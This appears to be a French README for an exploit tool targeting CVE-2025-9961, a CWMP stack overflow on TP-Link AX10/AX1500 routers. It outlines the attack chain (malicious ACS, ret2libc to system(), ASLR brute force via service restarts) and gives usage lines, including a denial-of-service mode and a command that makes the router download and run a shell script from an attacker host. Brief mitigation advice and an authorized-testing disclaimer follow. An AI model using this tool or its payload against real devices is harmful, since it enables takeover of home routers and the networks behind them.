CVE-2025-9961

Débordement de tampon de pile CWMP sur TP-Link AX10/AX1500 — RCE

Vue d'ensemble

Débordement de tampon de pile dans CWMP (TR-069) permettant l'exécution de code à distance.

Déroulement de l'attaque

flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

Détails techniques

La vulnérabilité se trouve dans le traitement par le processus cwmp des requêtes SOAP SetParameterValues. L'entrée est utilisée pour calculer la taille du tampon sans vérification des limites.

Exploitation :

• Utiliser ret2libc pour appeler system()
• Contournement de l'ASLR par force brute
• Le redémarrage du service permet de tenter l'exploitation à plusieurs reprises

Utilisation

python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

Paramètres

Prérequis

Aucun (utilise la bibliothèque standard)

Atténuation

• Mettre à jour vers le firmware corrigé
• Désactiver TR-069/CWMP
• Restreindre l'accès au port 7547

Avertissement

Pour tests de sécurité autorisés uniquement.